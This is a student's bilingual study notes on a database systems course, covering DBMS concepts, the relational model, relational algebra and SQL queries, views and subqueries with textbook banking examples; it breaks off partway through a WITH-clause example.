Table of Contents
约 22 个字 预计阅读时间不到 1 分钟
目前共 126 个页面,约 403508 字,4942 行代码。 长期摸鱼,尽量更新。
📚 学习笔记
我的笔记¶
约 126 个字 预计阅读时间不到 1 分钟
用于记录课程内容的笔记,希望能帮助到你.
📚 学习笔记导览¶
🎓 课程笔记¶
🔬 数学与物理¶
💻 自学笔记¶
🛡️ 安全与竞赛¶
🎓 课程笔记
数据库系统
数据库系统¶
约 45 个字 预计阅读时间不到 1 分钟
授课教师:陈刚
Introduction¶
约 1544 个字 1 行代码 4 张图片 预计阅读时间 5 分钟
What is a Database system
- Database : A very large, integrated collection of data
- Models a real-world enterprise
- Entities (e.g., teams, companies)
- Relationships (e.g., The Patriots is playing in The Superbowl)
- More recently, also includes active components (e.g., business logic)
- A Database Management System (DBMS) is a software system designed to store, manage, and facilitate access to databases
- Provides an interface for users to interact with the database
- Hides the implementation details of how the data is stored and maintained
- Ensures that the data is consistent and secure
- Provides tools for querying and updating the data
- Provides tools for managing the database itself (e.g., backup and recovery)
Purpose of Database Systems¶
Applications¶
Data processing and management are the most important fields of computer applications.
So the knowledge of database systems is essential for computer scientists.
Database Applications
- Banking: all transactions
- Airlines: reservations, schedules
- Universities: registration, grades
- Sales: customers, products, purchases
- Manufacturing: production, inventory, orders, supply chain
- Human resources: employee records, salaries, tax deductions
Databases touch all aspects of our lives although you don’t see them.
Characteristics of DBMS¶
- Efficiency and scalability in data access.
- Reduced application development time.
- Data independence (including physical data independence and logical data independence).
- Data integrity and security.
- Concurrent access and robustness (i.e., recovery).
File-Processing System¶
File-processing system is supported by a conventional Operating System (OS).
New application programs must be written if necessary, and new data files are created as required. But over a long period of time, data files may be in different formats.
Data files are independent each other.
Drawbacks of File-Processing System¶
- Data redundancy and inconsistency: Multiple file formats, duplication of information in different files
- Difficulty in accessing data:need to write a new program to carry out each task
- Data isolation——multiple files and multiple formats cause it difficult to retrieve and share
- Integrity problems Integrity constraints (e.g. account balance > 0) become part of program code
- Hard to add new constraints or change existing ones
- No atomicity of update :Failures may leave database in an inconsistent state with partial updates carried out( atomicity of update refers to the task should either complete or not happen at all)
- Difficult to concurrent access by multiple users
- Concurrent access needed for performance
- Uncontrolled concurrent accesses can lead to inconsistencies
- Example: Two people reading a balance (say 100) and updating it by withdrawing money (say 50 each) at the same time
- Security problems
** But Database systems offer solutions to all the above problems! **
Open source databases
-
MySQL: is the most popular open source database for small system on web sites, is a key part of LAMP (Linux, Apache, MySQL, PHP/Perl/Python), and is a fast growing open source enterprise software stack.
-
PostgreSQL: is a highly scalable, open source object-relational database management system, and is originally developed by the Department of Computer Science, UC Berkeley (called Postgres)
View of Data¶
LEvels of Data Abstraction¶
Different usage needs different level of abstraction.
- Physical level:describes how a record is stored
- Logical level: describes data stored in database,and the relationships among the data on upper level
- view level:View level: application programs hide details of data types. Note that views can also hide information (e.g., employee’s salary) for security purposes.
Schemas and instances¶
Schema--the structure of the database on different level
Analogous to type information of a variable in a program
- Physical schema: database structure design at the physical level
- Logical schema: database structure design at the logical level
- Subschema: schema at view level
instance--the actual content of the database at a particular point in time
Analogous to the value of a variable
Note
The relationship between schema and instance is similar to types and variables in programming languages (type-schema, variable-instance) 即schema是数据库中的蓝图或者目录,用于描述其结构和内容,定义数据应该如何存储和组织,instance是其具体的数据
Physical & Logical Independence¶
Physical data independence – the ability to modify the physical schema without changing the logical schema.
- Applications depend on the logical schema.
- Applications are insulated from how data is structured and stored.
- One of the most important benefits of using a DBMS! 对于物理结构的更改不应该影响到更高级的层面
Logical data independence – protect application programs from changes in logical structure of data.
- Logical data independence is hard to achieve as the application programs are heavily dependent on the logical structure of data.
Data Models¶
Data model is a collection of conceptual tools for describing
- data structure
- data relationships
- data semantics
- data constraints
Different level of data abstraction needs different data model to describe
common data models
- Relational model (关系模型)
- Database system level model based on tables
- Entity-Relationship (实体-联系) data model
- Used at requirements analysis level
- Object-based data models:
- Object-oriented (面向对象数据模型)
- Object-relational (对象-关系模型)
- Semistructured data model (XML) (半结构化数据模型)
- Other older models:
- Network model (网状模型)
- Hierarchical model (层次模型)
Database language¶
- Data Definition Language (DDL): Specification notation for defining the database schema.
- Data Manipulation Language (DML): Language for accessing and manipulating the data organized by appropriate data model.
- Data Control Language (DCL)
DDL¶
Specifies a database scheme as a set of definitions of relational schema.
Also specifies storage structure, access methods, and consistency constraints.
DDL statements are compiled, resulting in a set of tables stored in a special file called data dictionary.
for example
Data dictionary contains metadata (i.e., the data about data) about
- Database schema
- Integrity constraints
- Primary Key
- Referential integrity
- Authorization
DML¶
Data Manipulation Language (DML) - Retrieve data from the database - Insert / delete / update data in the database - DML also known as query language
Two classes of DMLs - Procedural DML – user specifies what data is required and how to get those data (e.g., C, Pascal, Java, etc.). - Nonprocedural DML – user specifies what data is required without specifying how to get those data (e.g., SQL, Prolog, etc.).
SQL is the most widely used query language
Database Design¶
Steps of Database Design¶
-
Requirement analysis :What data, applications, and operations needed.
-
Conceptual database design :A high-level description of data, constraints using Entity-Relationship (E-R) model or a similar high level data model
- Logical database design Convert the conceptual design into a DB schema.
- Schema refinement-Normalization of relations: Check relational schema for redundancies and related anomalies.
- Physical database design:Indexing, query, clustering, and database tuning.
- Create and initialize the database & Security design Load initial data, testing. Identify different user groups and their roles.
Entity-Relationship(E-R Model)¶
E-R model of real world
-
Entities (objects) E.g., customers, accounts, bank branch. Entities are described by a set of attributes.
-
Relationships between entities E.g., Account A-101 is held by customer Johnson. Relationship set depositor associates customers with accounts
E-R Model is widely used for database design Database design in E-R model is usually converted to design in the relational model . E-R model was first proposed by Peter Chen.
Users and Administrators¶
Database Users¶
Users are differentiated by the way they expect to interact with the system
Naive users – invoke one of the permanent application programs that have been written previously by a high level language. E.g., people accessing database over the web, bank tellers, clerical staff.
Application programmers – interact with system via SQL calls.
Sophisticated users – form requests in a database query language. E.g., Online Analytical Processing (OLAP), Data mining.
Specialized users – write specialized database applications that do not fit into the traditional data processing framework. E.g., CAD, Expert System (ES), KDB.
Database Administrators¶
Database administrator (DBA): A special user having central control over database and programs accessing those data.
- DBA has the highest privilege for the database.
- DBA coordinates all the activities of the database system.
- DBA controls all users authority to the database.
- DBA has a good understanding of the enterprise’s information resources and requirements
Database administrator's duties/functions include:
- Schema definition
- Storage structure and access method definition
- Schema and physical organization modification
- Granting of authorization for data access Routing maintenance
- Monitoring performance and responding to changes in requirements Security for the database (e.g. periodically backup database, recovery when failure)
Transaction Management¶
Concurrent use/access is important, but causes problems/conflict.
A transaction is a collection of operations that performs a single logical function in a database application.
Transaction requirements include atomicity, consistence, isolation, durability.
Transaction-management component ensures that the database remains in a consistent (or correct) state, although system failures (e.g., power failures and operating system crashes) and transaction failures.
Concurrency-control manager controls the interaction among the concurrent transactions.
Database Architecture¶
storage manager¶
Storage Manager is a program module that provides the interface between the low-level data stored in the database and the application programs and queries submitted to the system.
Storage Manager is responsible for the following tasks:
- Interaction with the file manager
- Efficient storing, retrieving and updating of data
Storage Manager includes
- Transaction manager
- Authorization and integrity manger
- File manager (interaction with the file system to process data files, data dictionary, and index files)
- Buffer manager
Query Processor¶
Query Processor includes DDL interpreter, DML compiler, and query processing.
- Parsing and translation
- Optimization
- Evaluation
Relational Model¶
约 1979 个字 10 行代码 13 张图片 预计阅读时间 7 分钟
relational model
- the relational model is vary simple and elegant
- A relational database is a collection of relations (based on the relational model)
- A relation is a table with columns and rows
- relational model has two advantages:
- straight forward data representation
- ease with which even complex queries can be expressed
- Owing to the great language SQL
The difference between relationship and relation
- A relationship is an association among several entities
- A relation is the mathematical concept, referred to as a table
Entity set and relationship set ↔ real world
Relation---Table,tuple---row ↔ machine world
Structure of Relational Databases¶
Basic Structure¶
Formally,given sets \(D_1,D_2,\ldots,D_n.(D_i|_{j=1,\ldots,k})\)
A relation \(r\) is a subset of
aka a Cartesian product of a list of domains \(D_1,D_2,\ldots,D_n\)
Thus,a relation is a set of \(n\)-tuples\((a_{1j},a_{2j},\ldots,a_{nj})\)
where \(a_{ij}\in D_i\)
即一个关系是一个元组的集合,每个元组有\(n\)个属性,每个属性的值来自于一个域\(D_i\)
Eg
If
customer-name = {Jones, Smith, Curry, Lindsay}
customer-street = {Main, North, Park}
customer-city = {Harrison, Rye, Pittsfield}
Then r = {(Jones, Main, Harrison),
(Smith, North, Rye),
(Curry, North, Rye),
(Lindsay, Park, Pittsfield)}
is a relation over customer-name x customer-street x customer-city. (total 36 tuples)
Attribute Types¶
Each attribute of a relation has a name
THe set of allowed values for each attribute is called the domain of the attribute
Attribute values are normally required to be atomic,i.e.,indivisible---1st normal form
- E,g multivalue attributes,composite attributes,derived attributes
For every domain , there exists a special value called null
The null value causes complications(并发) in the definition of many operations.
Concepts about Relation¶
A relation is concerned with the following concepts:
- relation schema:describes the structure of the relation
EG.Student-schema = (sid: string, name: string, sex: string, age: int, dept: string)
- relation instance: corresponds to the snapshot(快照) of the data in the relation at a given instant in time.
Relation Schema¶
A relation schema is a blueprint or structure that defines the organization of data in a relational database. It specifies the tables (also called relations), the attributes (or columns), and the data types for each attribute. It serves as a way to describe the logical view of the data, but without the actual data being stored.
In a relational schema:
- Each relation (table) has a name.
- Each attribute (column) within the relation has a name and an associated data type (like integer, varchar, date, etc.).
- The keys for the relation are often defined, like primary keys, foreign keys, or unique keys.
For example, a relation schema for a Student table could look like this:
- Student(
student_id: INT,first_name: VARCHAR(50),last_name: VARCHAR(50),dob: DATE)
Here:
- Student is the relation.(student_id: INT, first_name: VARCHAR(50), last_name: VARCHAR(50), dob: DATE)is the relation schema.
- student_id, first_name, last_name, and dob are the attributes.
- INT, VARCHAR(50), and DATE are the data types for those attributes.
The relation schema helps in organizing the data in a relational database and ensures consistency, integrity, and the proper relationships between different tables.
Relation Instance¶
The current values (i.e., relation instance) of a relation are specified by a table.
An element t of r is a tuple, represented by a row in a table.
Let a tuple variable t be a tuple, then t[name] denotes the value of t on the name attribute.
The order of tuples is irrelevant (i.e., tuples may be stored in an arbitrary).
No duplicated tuples in a relation. Attribute values are atomic.
Key¶
let \(K \subset R\),\(K\) is a superkey (超码) of \(R\) if values for \(K\) are sufficient to identify a unique tuple of each possible relation \(r(R)\)
Eg,E.g., both {ID} and {ID, name} are superkeys of the relation instructor.
\(K\) is a candidate key (候选码) if K is minimal superkey.
E.g., both {ID} and {name} are candidate keys of the relation instructor.Since each of them is a superkey and no any subset.
\(K\) is a primary key (主码), if \(K\) is a candidate key and is defined by user explicitly.
Primary key is usually marked by underline.
Foreign key (外码) is a set of attributes in a relation that is a key of another relation.
Assume there exists relations \(r\) and \(s\): \(r(A, B, C)\), \(s(B, D)\), we can say that attribute \(B\) in relation \(r\) is foreign key referencing \(s\), and \(r\) is a referencing relation (参照关系), and \(s\) is a referenced relation (被参照关系).
参照关系中外码的值必须在被参照关系中实际存在, 或为null
Primary key and foreign key are integrated constraints. 即外键和主键是一体的约束,协同工作。
Fundamental relational-algebra operations¶
Select¶
Notation: \(\sigma_{p}(r)\),where \(r\) is a relation and \(p\) is a predicate.
Defined as:
where \(p(t)\) is a predicate that is true for a tuple \(t\) if the tuple satisfies the condition specified by the predicate.And \(p\) is a formula in propositional calculus consistion of terms connected by logical operators.
And each term is of the form :
where \(<operator>\) is one of the following: \(=, \neq, <, \leq, >, \geq\)
Eg. \(\sigma_{age>20}(Student)\)
Project(投影)¶
如果说select是对行的操作,那么project就是对列的操作
Notation: \(\pi_{A_1,A_2,\ldots,A_n}(r)\),where \(r\) is a relation and \(A_1,A_2,\ldots,A_n\) are attributes of \(r\).
The result of the operation is obtained by deleting columns that are not in the list of attributes.And duplicate rows will be removed
Union¶
Notation: \(r \cup s\), where \(r\) and \(s\) are relations with the same schema.
Defined as:
Eg.
set difference¶
Notation: \(r - s\), where \(r\) and \(s\) are relations with the same schema.
Defined as:
set difference must be taken between two compatible relations.
- \(r\) and \(s\) must have the same arity
- Attribute domains must be compatible
Eg.
Cartesian product¶
Notation:\(r \times s\)
Defined as:
-
Assume that attributes of \(r\) and \(s\) are disjoint (i.e.,R \cap S = \emptyset)
-
If attributes of \(r(R)\) and \(s(S)\) are not disjoint, then renaming for attributes must be used.
Eg.
Rename¶
Allow us to rename the attributes of a relation include the name of the relation itself.
used as
which means rename the relation \(r\) as \(x\) and rename the attributes' names of the relation as \(A_1,A_2,\ldots,A_n\)
Exercise¶
For a Banking example,we have following relations:
- branch(branch-name, branch-city, assets)
- customer(customer-name, customer-street, customer-city)
- account(account-number, branch-name, balance)
- loan(loan-number, branch-name, amount)
- depositor(customer-name, account-number)
- borrower(customer-name, loan-number)
- Find the names of all customers who have an loan at the Perryridge branch.
we have following queries:
and
query 2 is better because it reduced the size of Cartesian product.
- Find the names of all customers who have loans at the Perryridge branch but do not have an account at any branch of the bank.
Just use the result above and do a set difference operation.
-
Find the largest account balance (i.e., self-comparison)
这个例子很好的揭示了rename操作是必要的
-
Step 1: Rename account relation as \(d\)
- Step 2: Find the relation including all balances except the largest one
- Finally, find the largest balance in the relation
例如一个(4x1)表其中含有1,2,3,4;那么Cartesian product之后会得到(16x2)的表,上面减号右边的表达式会取出例如[1,2],[1,3],[1,4];[2,3]...[3,4]这样的表,然后再投影到account balance上就得到了不包含最大值的所有项,然后进行set difference就OK了
Additional Relation-algebra Operations¶
Although using the six fundamental operations is enough for any query requirements,the additional operations simplify common queries.
Remember,the additional operations do not add any power to the relational algebra.
Set Intersection¶
Notation: \(r \cap s\)
Defined as:
requirements are same as set difference since
Natural join¶
Notation: \(r \bowtie s\)
Example: R=(A,B,C,D),S=(B,D,E)
-
Result schema of the natural-join of \(r\) and \(s\) = (A, B, C, D, E)
-
\(r \bowtie s= \Pi_{r.A,r.B,r.C,r.D,s.E}(\sigma_{r.B=s.B \land r.D=s.D}(r \times s))\)
Theta Join Operation¶
Notation: \(r \bowtie_\theta s\) where \(\theta\) is the predicate on attributes in the schema
Theta join: \(r \bowtie_\theta s= \sigma_theta(r \times s)\)
Division¶
Division operation suited to queries that include the phase "for all"
与算数一样,除法就是乘法的逆运算
Notation: \(r \div s\)
assume R and S are relation schemas for relation \(r\) and \(s\)
即剩下的\(t\)必须在原relation中与s中所有元素都有元组的组合
Eg
- Find all customers who have an account from at least the “Downtown” and the “Uptown” branches.
Assignment¶
The assignment operation (\(\leftarrow\)) provides a convenient way to express complex queries.
Extended Relational-Algebra Operations¶
Generalized Projection¶
Extends the projection operation by allowing arithmetic functions to be used in the projection list.
where \(E\) is any relational-algebra expression,and each of \(F_1,F_2,\ldots,F_n\) are arithmetic expressions involving constants and attruibutes in the schema of E
Eg. Given a relation credit-info(customer-name, limit, credit_balance), find how much more each person can spend:
Aggregate Functions¶
Aggregation function takes a collection of values and returns a single value as a result.
- avg: average value
- min: minimum value
- max: maximum value
- sum: sum of values
- count: number of values
where \(E\) is any relational-algebra expression, G1, G2 …, Gn is a list of attributes on which to group (can be empty), each Fi is an aggregate function, and each Ai is an attribute name.
即可以分组进行
Modification of the Database¶
Deletion¶
A delete request is expressed similarly to a query, except instead of displaying tuples to the user, the selected tuples are removed from the database.
It can delete only whole tuples; cannot delete values on some particular attributes.
A deletion is expressed in relational algebra by:
where r is a relation and E is a relational algebra query.
Inserting¶
To insert data into a relation, we either: - Specify a tuple to be inserted. - Write a query whose result is a set of tuples to be inserted.
In relational algebra, an insertion is expressed by:
where r is a relation and E is a relational algebra expression.
The insertion of a single tuple is expressed by letting E be a constant relation containing one tuple.
Updating¶
A mechanism to change a value in a tuple without charging all values in the tuple.
Use the generalized projection operator to do this task
where each \(F_i\) is either the \(i\)th attribute of \(r\), if the \(i\)th attribute is not updated, or, if the attribute is to be updated \(F_i\) is an expression, involving only constants and the attributes of \(r\), which gives the new value for the attribute
SQL¶
约 10827 个字 773 行代码 5 张图片 预计阅读时间 47 分钟
SQL includes several parts:
- DDL: Data Definition Language
- DML: Data Manipulation Language
- DQL: Data Query Language
- DCL: Data Control Language
Data Definition Language¶
The main functions of DDL contain:
- Define the schema for each relation
- Define the domain of values associated with each attribute
- Define the integrity constraints
- Define the physical storage structure of each relation on disk
- Define the indices to be maintained for each relations
- Define the view on relations
For example,if we want to define a table named branch
CREATE TABLE branch (
branch_name VARCHAR(20) PRIMARY KEY,
branch_city VARCHAR(20),
assets NUMERIC(12, 2)
);
or
CREATE TABLE branch (
branch_name CHAR(15) NOT NULL,
branch_city VARCHAR(30),
assets NUMERIC(8, 2),
PRIMARY KEY (branch_name)
);
Domain types¶
CHAR(n): fixed length character string,with user-specified lengthVARCHAR(n): variable length character string,with user-specified maximum lengthINTorINTEGER: integer numberSMALLINT: small integer numberNUMERIC(p, d): fixed point number with user-specified precision and scale(总共为p位有效位,其中小数点后有d位)FLOAT(n): floating point number with user-specified precision,ifnis omitted,the precision is 24REAL: floating point number with user-specified precision,such as 3.14,REALis equivalent toFLOAT(24)DOUBLEorDOUBLE PRECISION: double precision floating point numberNULL: no valueDATE: date in the format YYYY-MM-DD,such as 2025-03-01TIME: time in the format HH:MM:SS,such as 12:00:00TIMESTAMP: date and time in the format YYYY-MM-DD HH:MM:SS,such as 2025-03-01 12:00:00
SQL provides various functions for data manipulation and type conversion, though the implementation may vary across different database systems. Here are some examples:
-
String functions:
CHAR(n): Convert ASCII code n to character,in Oracle,it isCHR(n)SUBSTRING(str, start, length): Extract substring from position start with given length,in Oracle,it isSUBSTR(str, start, length)LEN(str): Get length of string,in Oracle,it isLENGTH(str)GETDATE(): Get current date and time,in Oracle,it isSYSDATEDATALENGTH(str): Get number of bytes used to represent stringCONCAT(str1, str2): Concatenate two or more stringsUPPER(str): Convert string to uppercaseLOWER(str): Convert string to lowercaseLTRIM(str): Remove leading spacesRTRIM(str): Remove trailing spaces
-
Numeric functions:
ABS(n): Absolute valueROUND(n, d): Round number to d decimal placesCEILING(n): Round up to nearest integerFLOOR(n): Round down to nearest integerPOWER(x, y): x raised to power ySQRT(n): Square root
-
Date functions:
GETDATE(): Current date and timeDATEADD(part, n, date): Add n units to dateDATEDIFF(part, date1, date2): Difference between datesYEAR(date): Extract yearMONTH(date): Extract monthDAY(date): Extract day
Create Table¶
An SQL relation is define using the CREATE TABLE statement.
- r is the name of the relation
- Each Ai is an attribute name in the schema of relation r
- Di is the data type of values in the domain of attribute Ai
- integrity constrainti is a constraint on the values of attribute Ai,即完整性约束条件,例如外键约束,主键约束,唯一约束,检查约束等
Integrity Constraints¶
-
Not NULL: The attribute cannot be NULL
-
Primary Key: The attribute is the primary key of the relation
-
Check: The attribute must satisfy a specified condition
-
Unique: The attribute must be unique
-
Foreign Key: The attribute must be a foreign key of the relation
-
Default: The attribute must have a default value
-
Index: The attribute must be indexed
-
View: The attribute must be a view of the relation
-
Trigger: The attribute must be a trigger of the relation
Primary key declaration on an attribute automatically ensures not null in SQL_92 onwards, needs to be explicitly stated in SQL_89
Another way to use integrity constraints is
DROP and ALTER Table¶
Drop Table¶
the drop table statement is used to delete a table from the database.
Alter Table¶
the alter table statement is used to modify the structure of a table.
the format is
ALTER TABLE table_name ADD column_name data_type;
-- add a new column
ALTER TABLE table_name ADD (column_name data_type, column_name data_type, ...);
-- add multiple columns
ALTER TABLE table_name DROP COLUMN column_name;
-- drop a column
ALTER TABLE table_name MODIFY column_name data_type;
-- modify the data type of a column
Create Index¶
Index is a data structure that improves the performance of database queries by allowing the database to quickly locate the data without having to scan the entire table.
CREATE INDEX index_name ON table_name(attribute_list);
-- unique index
CREATE UNIQUE INDEX index_name ON table_name(attribute_list);
-- drop index
DROP INDEX index_name;
Example:
Basic Structure¶
The select clause¶
The select clause is used to select the data from the database.
such as:
where * is the wildcard character, it means all the attributes.
SQL allows duplicates in relations as well as in query results.
where DISTINCT is used to remove duplicates.
the opposite of DISTINCT is ALL, which means all the duplicates are kept.
By default, the select clause returns all the attributes of the relation.
The where clause¶
The where clause is used to filter the data from the database.
such as:
Comparison results can be combined using the logical connectives:
AND: Both conditions must be trueOR: At least one condition must be trueNOT: Negates a condition
The BETWEEN operator can be used to specify a range:
SELECT loan_number, amount
FROM loan
WHERE amount BETWEEN 1000 AND 10000 AND branch_name = 'Downtown';
The IN operator can be used to specify a list of values:
The from clause¶
The from clause is used to specify the table from which to select the data.
such as:
SELECT branch_name, branch_city
FROM branch, account
WHERE branch.branch_name = account.branch_name;
This will return a Cartesian product of the two tables.
if there are multiple tables contain the same attribute, we need to use the table name to specify the attribute.
SELECT branch.branch_name, branch_city, account.account_number
FROM branch, account
WHERE branch.branch_name = account.branch_name;
The rename operation¶
The rename operation is used to rename the attributes of the relation.
such as:
Tuple variables are defined in the FROM clause via the use of the as clause.
SELECT customer_name, T.loan_number, S.amount
FROM borrower as T, loan as S
WHERE T.loan_number = S.loan_number
AND S.amount > 10000;
In SQL, the use of the AS keyword to define the table alias is optional. The alias can be defined directly in the FROM clause without using the AS keyword. Therefore, you can remove the AS keyword, and the code will still work. Here is the code without the AS keyword:
SELECT customer_name, T.loan_number, S.amount
FROM borrower T, loan S
WHERE T.loan_number = S.loan_number
AND S.amount > 10000;
Question
Find the names of all branches that have greater assets than some branch located in city Brooklyn.
String operation¶
fuzzy matching¶
SQL includes a string-matching operator for comparisons on character strings. Patterns are described using the following two special characters:
%: Matches any sequence of characters_: Matches any single character
with this,we can achieve the fuzzy matching.
This will return all the employees whose last name starts with 'S'.
This will return all the employees whose last name has 'o' as the second character.
It should be use in the where clause and must be used in conjunction with the LIKE operator.
other string operations¶
SQL provides the || operator to concatenate strings.
This will return 'Hello World'.
Converting string from upper case to lower case:
Ordering the display of results¶
ordering the display of results is achieved by using the ORDER BY clause.
We may specify desc for descending order or asc for ascending order, and for each attribute, ascending order is the default.
This will return all the employees sorted by salary in descending order.
SET Operations¶
In SQL, use the set operations including UNION, INTERSECT, and EXCEPT operate on relations as well as correspond to the relational algebra operations \(\cup\), \(\cap\), and \(\setminus\).
Each of the operations including UNION, INTERSECT, and EXCEPT automatically eliminates duplicates. To retain duplicates, use UNION ALL, INTERSECT ALL, and EXCEPT ALL instead.
Example
Find all customers who have a loan or an account or both.
Find all customers who have both a loan and an account.
Find all customers who have a loan but not an account.
Aggregate Functions¶
Aggregate functions are used to perform calculations on a set of values(a column) and return a single value.
COUNT: Counts the number of rowsSUM: Calculates the sum of a set of valuesAVG: Calculates the average of a set of valuesMAX: Finds the maximum valueMIN: Finds the minimum value
Such as:
This will return the number of rows in the employees table.
Note
The COUNT(*) function counts all rows, including those with null values.
But COUNT(attribute_name) function counts only the rows where the attribute is not null.
We can also use COUNT(distinct attribute_name) to count the number of distinct values in a column.
Group By¶
在 SQL 中,当你在 SELECT 子句中使用聚合函数(例如 AVG、SUM 等)时,所有不在聚合函数中的属性(字段)必须出现在 GROUP BY 子句中。这是因为 SQL 需要知道如何对数据进行分组,以便正确地计算聚合值。
否则在这种情况下,在前面要求了挑出Branch_name,where 中又要求branch_name = 'Perryridge';没什么意义
正确的写法是:
Having¶
The HAVING clause is used to filter the results of a GROUP BY operation.
SELECT branch_name, avg(balance) avg_bal
FROM account
GROUP BY branch_name HAVING avg(balance) > 1000;
This will return all the branches whose average balance is greater than 1000.
Summary of Select¶
Select 语句的完整语法如下:
SELECT <[DISTINCT] c1, c2, …>
FROM <r1, …>
[WHERE <condition>]
[GROUP BY <c1, c2, …> [HAVING <condition>]]
[ORDER BY <c1 [DESC] [, c2 [DESC|ASC], …]>]
[] 表示可选部分
其执行顺序为
flowchart LR
A[From] --> B[Where]
B --> C[Group By / aggregate]
C --> D[Having]
D --> E[Select]
E --> F[Distinct]
F --> G[Order By]
Null Values¶
Null is a special marker used in SQL and was first introduced by E.F. Codd in 1974.
The meaning of null is that the value is unknown or not applicable.
The result of any arithmetic operation involving null is null.
5+null = null
Any comparison involving null is 'unknown', which is neither true nor false.
null = null is unknown
unknown
Three-valued logic using the truth value unknown: (true, false, unknown)
-
ORoperation:- (unknown OR true) = true
- (unknown OR false) = unknown
- (unknown OR unknown) = unknown
-
ANDoperation:- (unknown AND true) = unknown
- (unknown AND false) = false
- (unknown AND unknown) = unknown
-
NOToperation:- (NOT unknown) = unknown
-
=operation:- (unknown = unknown) = unknown
-
!=operation:- (unknown != unknown) = unknown
The predicate IS NULL and IS NOT NULL are used to test for null values.
recall that the primary key of a relation cannot be null.
Example
Find all loan number which appears in the loan relation with null values for amount.
we cannot use = to test for null values,the result will return null.
see as follows:
Null Values in Aggregate Functions¶
This will return the sum of the balance of all the accounts.Result is null if there is no non-null values.
All aggregate operations except count(*) ignore tuples with null values on the aggregated attributes.
Nested Subqueries¶
Nested subqueries in SQL are queries within queries. They allow you to perform more complex queries by embedding one query inside another. This is particularly useful when you need to filter data based on the results of another query.
Basic Structure¶
A nested subquery is typically found in the WHERE clause of a SQL statement. The subquery is executed first, and its result is used by the outer query.
SELECT column1, column2
FROM table1
WHERE column3 <operator> (
SELECT column3
FROM table2
WHERE condition
);
the <operator> can be =, !=, >, >=, <, <=, IN, NOT IN, ANY, ALL, EXISTS, NOT EXISTS.
it can also be nested in the FROM clause.
or in the having clause such as:SELECT department, AVG(salary) AS avg_salary
FROM employees
GROUP BY department
HAVING AVG(salary) > (SELECT AVG(salary) FROM employees);
找出每个 [部门平均工资] 大于[所有员工平均工资]的部门。
Example
Find all customers who have both an account and a loan at the bank.
recall that we can also use the set operation to achieve the same result.
Find all customers who have both an account and a loan at the Perryridge branch.
-
query 1:
-
query 2:
-
query 3:指定名称,将外层的结果传递进去
SELECT DISTINCT customer_name FROM borrower B, loan AS t WHERE B.loan_number = t.loan_number AND branch_name = 'Perryridge' AND customer_name IN ( SELECT customer_name FROM depositor D, account A WHERE D.account_number = A.account_number AND branch_name = t.branch_name -- branch_name is the same as the branch_name in the outer (Perryridge) );
Find the account_number with the maximum balance for every branch.
错,聚合函数不能在where子句中使用
错误,account_number不是聚合函数的一部分,且没有在group by子句中正确的为
-- Select account number and balance from the account table
SELECT account_number AS AN, balance
FROM account A
-- Filter to get accounts with the maximum balance in each branch
WHERE balance >= (
-- Subquery to get the maximum balance for each branch
SELECT max(balance)
FROM account B
WHERE A.branch_name = B.branch_name
)
-- Order the results by balance
ORDER BY balance;
SELECT account_number, balance
FROM account
GROUP by branch_name
HAVING balance >= max(balance)
ORDER by balance
Set Comparison¶
Find all branches that have greater assets than some branch located in Brooklyn.
SELECT branch_name
FROM branch
WHERE assets > SOME (
SELECT assets
FROM branch
WHERE branch_city = 'Brooklyn'
);
Find all branches that have greater assets than all branches located in Brooklyn.
SELECT branch_name
FROM branch
WHERE assets > ALL (
SELECT assets
FROM branch
WHERE branch_city = 'Brooklyn'
);
SELECT branch_name
FROM branch
WHERE assets > (SELECT MAX(assets) FROM branch WHERE branch_city = 'Brooklyn');
Test for Empty Relations¶
The exists construct returns the value true if the argument subquery is non-empty.
exists\(r\) equal to \(r \neq \emptyset\)not exists\(r\) equal to \(r = \emptyset\)
Example
Find all customers who have accounts at all branches located in city Brooklyn.
SELECT DISTINCT S.customer_name
FROM depositor AS S
WHERE NOT EXISTS (
(SELECT branch_name
FROM branch
WHERE branch_city = 'Brooklyn')
EXCEPT
(SELECT DISTINCT R.branch_name
FROM depositor AS T, account AS R
WHERE T.account_number = R.account_number
AND S.customer_name = T.customer_name)
);
即挑出的S将满足,Brooklyn所有支行的branch_number减去S有账户的branch_number后,为空。 而由于
所以挑出的S将满足,S有账户的branch_number包含了Brooklyn所有支行的branch_number。
也就满足了要求。
SELECT DISTINCT S.customer_name
FROM depositor AS S
WHERE NOT EXISTS (
SELECT *
FROM branch B
WHERE branch_city = 'Brooklyn' AND NOT EXISTS (
SELECT *
FROM depositor AS T, account AS R
WHERE T.account_number = R.account_number
AND R.branch_name = B.branch_name
AND S.customer_name = T.customer_name
)
);
这里有两个not exists,里面的select子句挑出了在Brooklyn中没有某些支行账户的表格,外面的not exists挑出了不存在这一条件的客户; 即 不存在在Brooklyn中不存在账户的客户 ,也就是 在Brooklyn的所有支行都有账户的客户 。
Test for Absence of Duplicate Tuples¶
The unique construct tests whether a subquery has any duplicate tuples in its result.
Example
Find all customers who have at most one account at the Perryridge branch.
SELECT customer_name
FROM depositor AS T
WHERE UNIQUE (
SELECT R.customer_name
FROM account, depositor AS R
WHERE T.customer_name = R.customer_name
AND R.account_number = account.account_number
AND account.branch_name = 'Perryridge'
);
Find all customers who have at least two accounts at the Perryridge branch.
Views¶
A view is a virtual table that is defined by a query. It is a stored query that can be used to simplify complex queries and to provide a consistent view of the data.
Provide a mechanism to hide certain data from the view of certain users.
Create View¶
CREATE VIEW view_name AS SELECT attribute_list FROM table_name WHERE condition;
-- or
CREATE VIEW view_name (c1, c2, ..., cn) AS SELECT attribute_list FROM table_name WHERE condition;
Advice
Benefits of using views - Security - Easy to use, support logical independence - Simplify complex queries - Hide certain data from the view of certain users
Drop View¶
Example
Create a view consisting of branches and their customer names.
Derived Relations¶
In SQL, Derived Relations (derived relations) are created through subqueries (subquery) in the FROM clause. They are typically used to simplify complex queries and make them more readable.
Such as:Find the average account balance of those branches where the average account balance is greater than $500.
SELECT branch_name, avg_bal
FROM (SELECT branch_name, avg(balance)
FROM account
GROUP BY branch_name)
as result (branch_name, avg_bal)
WHERE avg_bal > 500
The derived table must have its own alias
With Clause¶
The WITH clause allows views to be defined locally for a query, rather than globally.
WITH子句允许在查询中局部定义视图,而不是全局定义。这意味着你可以在一个特定的查询中创建一个临时的视图,这个视图只在该查询的上下文中可用,而不会影响数据库的其他部分。这种方法的好处是可以简化复杂查询,使其更易于阅读和维护,同时避免在数据库中创建永久视图。使用WITH子句,你可以在查询中定义多个子查询,并在主查询中引用它们,从而提高查询的可读性和效率。
Such as:Find all accounts with the maximum balance.
WITH max_balance(value) AS (
SELECT max(balance)
FROM account
)
SELECT account_number
FROM account, max_balance
